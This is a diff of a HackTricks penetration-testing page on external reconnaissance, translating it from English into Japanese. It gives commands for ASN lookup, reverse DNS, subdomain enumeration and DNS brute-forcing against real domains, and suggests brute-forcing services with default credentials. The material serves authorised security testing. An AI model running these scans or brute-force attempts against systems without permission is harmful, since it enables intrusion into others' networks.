**hosts** inside the **scope** and **look for domains** inside these IPs.\ -You can **search** by company **name**, by **IP** or by **domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link. +自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム(AS)**に割り当てられる**一意の番号**です。\ +**AS**は、外部ネットワークへのアクセスに対する明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレータで構成される場合もあります。 +会社がどのような**ASNを割り当てているか**を見つけることは興味深いです。これにより、**IP範囲**を見つけることができます。**スコープ**内のすべての**ホスト**に対して**脆弱性テスト**を実行し、これらのIP内のドメインを探すことができます。\ +[**https://bgp.he.net/**](https://bgp.he.net)****で、会社の**名前**、**IP**、または**ドメイン**で**検索**することができます。\ +**会社の地域によっては、次のリンクがより多くのデータを収集するのに役立つ場合があります:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)**、[**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)**、[**APNIC**](https://www.apnic.net) **(アジア)**、[**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)**、[**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報(IP範囲とWhois)**は、最初のリンクにすでに表示されています。 ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` - -Also, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomain enumeration automatically aggregates and summarizes ASNs at the end of the scan. - +また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメインの列挙は、スキャンの最後にASNを自動的に集約し、要約します。 ```bash bbot -t tesla.com -f subdomain-enum ... @@ -69,62 +66,56 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` +組織のIP範囲を見つけるには、[http://asnlookup.com/](http://asnlookup.com)(無料のAPIがあります)を使用することもできます。\ +ドメインのIPとASNを見つけるには、[http://ipv4info.com/](http://ipv4info.com)を使用できます。 -You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ -You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). +### **脆弱性の検索** -### **Looking for vulnerabilities** +この時点で、**スコープ内のすべての資産**がわかっているので、許可されている場合は、すべてのホストに対して**脆弱性スキャナ**(Nessus、OpenVAS)を実行することができます。\ +また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行するか、shodanのようなサービスを使用して**オープンポートを見つけ、見つかったものに応じて**この本でいくつかの可能なサービスをペンテストする方法を確認することができます。\ +**また、デフォルトのユーザー名**と**パスワードのリストを準備して、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)を使用してサービスをブルートフォースすることもできます。 -At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ -Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ -**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +## ドメイン -## Domains +> スコープ内のすべての企業とその資産がわかっているので、スコープ内のドメインを見つける時が来ました。 -> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. +_以下の提案されたテクニックでは、サブドメインも見つけることができるため、その情報を過小評価しないでください。_ -_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._ +まず、各企業の**メインドメイン**を探す必要があります。例えば、_Tesla Inc._ の場合は _tesla.com_ になります。 -First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. - -### **Reverse DNS** - -As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) +### **逆引きDNS** +ドメインのIP範囲をすべて見つけたので、それらの**IPに対して逆引きDNSルックアップ**を試みて、スコープ内の他のドメインを見つけることができます。被害者のDNSサーバーまたは一部のよく知られたDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。 ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` +### **逆引き (ループ)** -For this to work, the administrator has to enable manually the PTR.\ -You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) +**whois**の中には、**組織名**、**住所**、**メールアドレス**、電話番号など、興味深い**情報**がたくさん含まれています。しかし、さらに興味深いのは、これらのフィールドのいずれかで**逆引きの検索**を行うと、**会社に関連するさらなる資産**を見つけることができることです(たとえば、同じメールアドレスが登録されている他のwhoisレジストリ)。\ +以下のようなオンラインツールを使用することができます: -### **Reverse Whois (loop)** +* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料** +* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **無料** +* [https://www.reversewhois.io/](https://www.reversewhois.io) - **無料** +* [https://www.whoxy.com/](https://www.whoxy.com) - **無料**(ウェブは無料ですが、APIは有料です) +* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 有料 +* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 有料(**100回まで無料**) +* [https://www.domainiq.com/](https://www.domainiq.com) - 有料 -Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ -You can use online tools like: +[**DomLink** ](https://github.com/vysecurity/DomLink)を使用して、このタスクを自動化することもできます(whoxy APIキーが必要です)。\ +また、[amass](https://github.com/OWASP/Amass)を使用して、自動的な逆引きの検出を行うこともできます:`amass intel -d tesla.com -whois` -* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free** -* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free** -* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free** -* [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API. -* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free -* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches) -* [https://www.domainiq.com/](https://www.domainiq.com) - Not Free +**新しいドメインを見つけるたびに、この技術を使用してさらに多くのドメイン名を発見することができることに注意してください。** -You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ -You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` +### **トラッカー** -**Note that you can use this technique to discover more domain names every time you find a new domain.** +2つの異なるページで**同じトラッカーのID**を見つけた場合、**両方のページ**が**同じチームによって管理されている**と推測できます。\ +たとえば、複数のページで同じ**Google AnalyticsのID**や同じ**AdsenseのID**を見つけた場合です。 -### **Trackers** - -If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ -For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. - -There are some pages and tools that let you search by these trackers and more: +これらのトラッカーやその他の情報を検索できるいくつかのページやツールがあります: * [**Udon**](https://github.com/dhn/udon) * [**BuiltWith**](https://builtwith.com) @@ -134,106 +125,95 @@ There are some pages and tools that let you search by these trackers and more: ### **Favicon** -Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: - +同じfaviconアイコンのハッシュを探すことで、ターゲットと関連するドメインやサブドメインを見つけることができることを知っていましたか?これは、[@m4ll0k2](https://twitter.com/m4ll0k2)が作成した[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールがまさにそれを行うものです。以下は、その使い方です: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` +![favihash - 同じファビコンアイコンハッシュを持つドメインを発見する](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) - -Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target. - -Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**: +簡単に言えば、favihashは、ターゲットと同じファビコンアイコンハッシュを持つドメインを発見することができます。 +さらに、[**このブログポスト**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、ファビコンハッシュを使用して技術を検索することもできます。つまり、脆弱なバージョンのウェブ技術のファビコンのハッシュを知っている場合、shodanで検索してより多くの脆弱な場所を見つけることができます。 ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` - -This is how you can **calculate the favicon hash** of a web: - +これは、ウェブの**ファビコンハッシュを計算する方法**です。 ```python import mmh3 import requests import codecs def fav_hash(url): - response = requests.get(url) - favicon = codecs.encode(response.content,"base64") - fhash = mmh3.hash(favicon) - print(f"{url} : {fhash}") - return fhash +response = requests.get(url) +favicon = codecs.encode(response.content,"base64") +fhash = mmh3.hash(favicon) +print(f"{url} : {fhash}") +return fhash ``` +### **著作権 / ユニークな文字列** -### **Copyright / Uniq string** +同じ組織内の異なるウェブサイトで共有される可能性のある文字列をウェブページ内で検索します。著作権の文字列は良い例です。その文字列をGoogleや他のブラウザ、さらにはShodanで検索します: `shodan search http.html:"著作権の文字列"` -Search inside the web pages **strings that could be shared across different webs in the same organisation**. The **copyright string** could be a good example. Then search for that string in **google**, in other **browsers** or even in **shodan**: `shodan search http.html:"Copyright string"` - -### **CRT Time** - -It's common to have a cron job such as +### **CRT時間** +よくあるcronジョブの例として、以下のようなものがあります。 ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` +サーバー上のすべてのドメイン証明書を更新します。これは、このために使用されるCAが有効期間内に生成された時間を設定しない場合でも、証明書透明性ログで同じ会社に所属するドメインを見つけることができます。 +詳細については、[こちらの記事](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)をご覧ください。 -to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\ -Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). +### **パッシブな乗っ取り** -### **Passive Takeover** +おそらく、人々はクラウドプロバイダーに属するIPにサブドメインを割り当て、ある時点でそのIPアドレスを失い、DNSレコードを削除することを忘れることがよくあります。したがって、Digital OceanのようなクラウドでVMを起動するだけで、実際にはいくつかのサブドメインを乗っ取ることができます。 -Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**. +[この記事](https://kmsec.uk/blog/passive-takeover/)では、それについてのストーリーを説明し、DigitalOceanでVMを起動し、新しいマシンのIPv4を取得し、それを指すサブドメインレコードをVirustotalで検索するスクリプトを提案しています。 -[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it. +### **その他の方法** -### **Other ways** - -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**新しいドメインを見つけるたびに、この技術を使用してさらに多くのドメイン名を発見できることに注意してください。** **Shodan** -As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate. +すでにIPスペースを所有している組織の名前を知っているので、そのデータでShodanで検索できます: `org:"Tesla, Inc."` TLS証明書で新しい予期しないドメインを見つけてください。 -You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` +メインのウェブページの**TLS証明書**にアクセスし、**組織名**を取得し、**shodan**で知られているすべてのウェブページの**TLS証明書**内でその名前を検索します。フィルターは次のとおりです: `ssl:"Tesla Motors"` **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder)は、メインドメインに関連する**ドメイン**とその**サブドメイン**を探すツールです。 -### **Looking for vulnerabilities** +### **脆弱性の検索** -Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. +[ドメイン乗っ取り](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。おそらく会社が**ドメインを使用している**が、**所有権を失っている**かもしれません。安価な場合は登録して、会社に知らせてください。 -If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +アセットの発見で既に見つかったIPとは異なるIPを持つ**ドメイン**を見つけた場合、基本的な脆弱性スキャン(NessusまたはOpenVASを使用)と[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)(nmap/masscan/shodanを使用)を実行する必要があります。実行中のサービスに応じて、**この本にはそれらを"攻撃"するためのトリックがいくつかあります**。 +_なお、ドメインがクライアントによって制御されていないIP内にホストされている場合は、対象外ですので注意してください。_ \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: ハッカーによって作成されたプレミアムの**バグバウンティプラットフォーム**である**Intigriti**に**登録**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報奨金を獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -## Subdomains +## サブドメイン -> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. +> スコープ内のすべての企業、各企業のアセット、および企業に関連するすべてのドメインを知っています。 -It's time to find all the possible subdomains of each found domain. +見つかった各ドメインの可能なサブドメインをすべて見つける時が来ました。 ### **DNS** -Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). - +DNSレコードから**サブドメイン**を取得しましょう。また、**ゾーン転送**についても試してみてください(脆弱性がある場合は報告してください)。 ```bash dnsrecon -a -d tesla.com ``` - ### **OSINT** -The fastest way to obtain a lot of subdomains is search in external sources. The most used **tools** are the following ones (for better results configure the API keys): +大量のサブドメインを取得する最速の方法は、外部ソースで検索することです。最もよく使われる**ツール**は以下のものです(より良い結果を得るためには、APIキーを設定してください): * [**BBOT**](https://github.com/blacklanternsecurity/bbot) - ```bash # subdomains bbot -t tesla.com -f subdomain-enum @@ -244,108 +224,80 @@ bbot -t tesla.com -f subdomain-enum -rf passive # subdomains + port scan + web screenshots bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o . ``` - * [**Amass**](https://github.com/OWASP/Amass) - ```bash amass enum [-active] [-ip] -d tesla.com amass enum -d tesla.com | grep tesla.com # To just list subdomains ``` - * [**subfinder**](https://github.com/projectdiscovery/subfinder) - ```bash # Subfinder, use -silent to only have subdomains in the output ./subfinder-linux-amd64 -d tesla.com [-silent] ``` - * [**findomain**](https://github.com/Edu4rdSHL/findomain/) - ```bash # findomain, use -silent to only have subdomains in the output ./findomain-linux -t tesla.com [--quiet] ``` - -* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us) - +* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/ja-jp) ```bash python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run ``` - * [**assetfinder**](https://github.com/tomnomnom/assetfinder) - ```bash assetfinder --subs-only ``` - * [**Sudomy**](https://github.com/Screetsec/Sudomy) - ```bash # It requires that you create a sudomy.api file with API keys sudomy -d tesla.com ``` - * [**vita**](https://github.com/junnlikestea/vita) - ``` vita -d tesla.com ``` - * [**theHarvester**](https://github.com/laramies/theHarvester) - ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` +他にも興味深いツール/APIがあります。これらは直接的にはサブドメインを見つけることに特化していませんが、サブドメインを見つけるのに役立つかもしれません。 -There are **other interesting tools/APIs** that even if not directly specialised in finding subdomains could be useful to find subdomains, like: - -* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains - +- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** [https://sonar.omnisint.io](https://sonar.omnisint.io)のAPIを使用してサブドメインを取得します。 ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` - -* [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com) - +* [**JLDC無料API**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` - -* [**RapidDNS**](https://rapiddns.io) free API - +* [**RapidDNS**](https://rapiddns.io)は無料のAPIです。 ```bash # Get Domains from rapiddns free API rapiddns(){ - curl -s "https://rapiddns.io/subdomain/$1?full=1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://rapiddns.io/subdomain/$1?full=1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } rapiddns tesla.com ``` - * [**https://crt.sh/**](https://crt.sh) - ```bash # Get Domains from crt free API crt(){ - curl -s "https://crt.sh/?q=%25.$1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://crt.sh/?q=%25.$1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } crt tesla.com ``` - -* [**gau**](https://github.com/lc/gau)**:** fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. - +* [**gau**](https://github.com/lc/gau)**:** 特定のドメインからAlienVaultのOpen Threat Exchange、Wayback Machine、およびCommon Crawlに既知のURLを取得します。 ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` - -* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): They scrap the web looking for JS files and extract subdomains from there. - +* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): ウェブをスクラップし、JSファイルからサブドメインを抽出します。 ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -353,36 +305,29 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com # Get only subdomains from subscraper, this already perform recursion over the found results python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f ``` - * [**Shodan**](https://www.shodan.io/) - ```bash # Get info about the domain shodan domain # Get other pages with links to subdomains shodan search "http.html:help.domain.com" ``` - -* [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder) - +* [**Censysサブドメインファインダー**](https://github.com/christophetd/censys-subdomain-finder) ``` export CENSYS_API_ID=... export CENSYS_API_SECRET=... python3 censys-subdomain-finder.py tesla.com ``` +* [**securitytrails.com**](https://securitytrails.com/)は、サブドメインとIPの履歴を検索するための無料のAPIを提供しています。 +* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)は、バグバウンティプログラムに関連するすべてのサブドメインを無料で提供しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用してアクセスすることもできます。また、このプロジェクトが使用するスコープにもアクセスできます。[https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -* [**securitytrails.com**](https://securitytrails.com/) has a free API to search for subdomains and IP history -* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) +ここでは、これらのツールの比較を見つけることができます:[https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) -This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +### **DNSブルートフォース** -You can find a **comparison** of many of these tools here: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +可能なサブドメイン名を使用して、DNSサーバーをブルートフォースして新しい**サブドメイン**を見つけてみましょう。 -### **DNS Brute force** - -Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names. - -For this action you will need some **common subdomains wordlists like**: +この作業には、次のような**一般的なサブドメインのワードリスト**が必要です: * [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) * [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -390,118 +335,93 @@ For this action you will need some **common subdomains wordlists like**: * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -And also IPs of good DNS resolvers. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. Or you could use: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +また、信頼できるDNSリゾルバのIPも必要です。信頼できるDNSリゾルバのリストを生成するには、[https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)からリゾルバをダウンロードし、[**dnsvalidator**](https://github.com/vortexau/dnsvalidator)を使用してフィルタリングすることができます。または、[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)を使用することもできます。 -The most recommended tools for DNS brute-force are: - -* [**massdns**](https://github.com/blechschmidt/massdns): This was the first tool that performed an effective DNS brute-force. It's very fast however it's prone to false positives. +DNSブルートフォースに最も推奨されるツールは次のとおりです: +* [**massdns**](https://github.com/blechschmidt/massdns):これは効果的なDNSブルートフォースを実行した最初のツールです。非常に高速ですが、誤検知のリスクがあります。 ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` - -* [**gobuster**](https://github.com/OJ/gobuster): This one I think just uses 1 resolver - +* [**gobuster**](https://github.com/OJ/gobuster): これは、私は1つのリゾルバを使用していると思います。 ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` - -* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is a wrapper around `massdns`, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support. - +* [**shuffledns**](https://github.com/projectdiscovery/shuffledns)は、goで書かれた`massdns`のラッパーであり、アクティブなブルートフォースを使用して有効なサブドメインを列挙することができます。また、ワイルドカードの処理や簡単な入出力のサポートを行うこともできます。 ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` - -* [**puredns**](https://github.com/d3mondev/puredns): It also uses `massdns`. - +* [**puredns**](https://github.com/d3mondev/puredns): これも `massdns` を使用しています。 ``` puredns bruteforce all.txt domain.com ``` - -* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) uses asyncio to brute force domain names asynchronously. - +* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)は、非同期でドメイン名をブルートフォースするためにasyncioを使用します。 ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` +### 第二のDNSブルートフォースラウンド -### Second DNS Brute-Force Round - -After having found subdomains using open sources and brute-forcing, you could generate alterations of the subdomains found to try to find even more. Several tools are useful for this purpose: - -* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Given the domains and subdomains generate permutations. +オープンソースとブルートフォースを使用してサブドメインを見つけた後、さらに多くのサブドメインを見つけるために、見つかったサブドメインの変形を生成することができます。この目的には、いくつかのツールが役立ちます: +* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えられた場合、順列を生成します。 ```bash cat subdomains.txt | dnsgen - ``` - -* [**goaltdns**](https://github.com/subfinder/goaltdns): Given the domains and subdomains generate permutations. - * You can get goaltdns permutations **wordlist** in [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt). - +* [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインを与えられた場合、順列を生成します。 +* goaltdnsの順列の**ワードリスト**は[**こちら**](https://github.com/subfinder/goaltdns/blob/master/words.txt)で入手できます。 ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` - -* [**gotator**](https://github.com/Josue87/gotator)**:** Given the domains and subdomains generate permutations. If not permutations file is indicated gotator will use its own one. - +* [**gotator**](https://github.com/Josue87/gotator)**:** ドメインとサブドメインを指定すると、順列を生成します。順列ファイルが指定されていない場合、gotatorは独自のファイルを使用します。 ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - -* [**altdns**](https://github.com/infosec-au/altdns): Apart from generating subdomains permutations, it can also try to resolve them (but it's better to use the previous commented tools). - * You can get altdns permutations **wordlist** in [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt). - +* [**altdns**](https://github.com/infosec-au/altdns): サブドメインの組み合わせを生成するだけでなく、それらを解決しようともします(ただし、前述のツールを使用する方が良いです)。 +* altdnsの組み合わせの**ワードリスト**は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。 ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - -* [**dmut**](https://github.com/bp0lr/dmut): Another tool to perform permutations, mutations and alteration of subdomains. This tool will brute force the result (it doesn't support dns wild card). - * You can get dmut permutations wordlist in [**here**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). - +* [**dmut**](https://github.com/bp0lr/dmut): サブドメインのパーミュテーション、変異、および変更を実行するための別のツールです。このツールは結果をブルートフォース攻撃します(DNSワイルドカードはサポートされていません)。 +* [**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)からdmutのパーミュテーションワードリストを取得できます。 ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ - --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt +--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` +* [**alterx**](https://github.com/projectdiscovery/alterx)**:** ドメインに基づいて、指定されたパターンに基づいて新しい潜在的なサブドメイン名を生成し、より多くのサブドメインを発見しようとします。 -* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Based on a domain it **generates new potential subdomains names** based on indicated patterns to try to discover more subdomains. - -#### Smart permutations generation - -* [**regulator**](https://github.com/cramppet/regulator): For more info read this [**post**](https://cramppet.github.io/regulator/index.html) but it will basically get the **main parts** from the **discovered subdomains** and will mix them to find more subdomains. +#### スマートな順列生成 +* [**regulator**](https://github.com/cramppet/regulator): 詳細については、この[**投稿**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてより多くのサブドメインを見つけます。 ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute 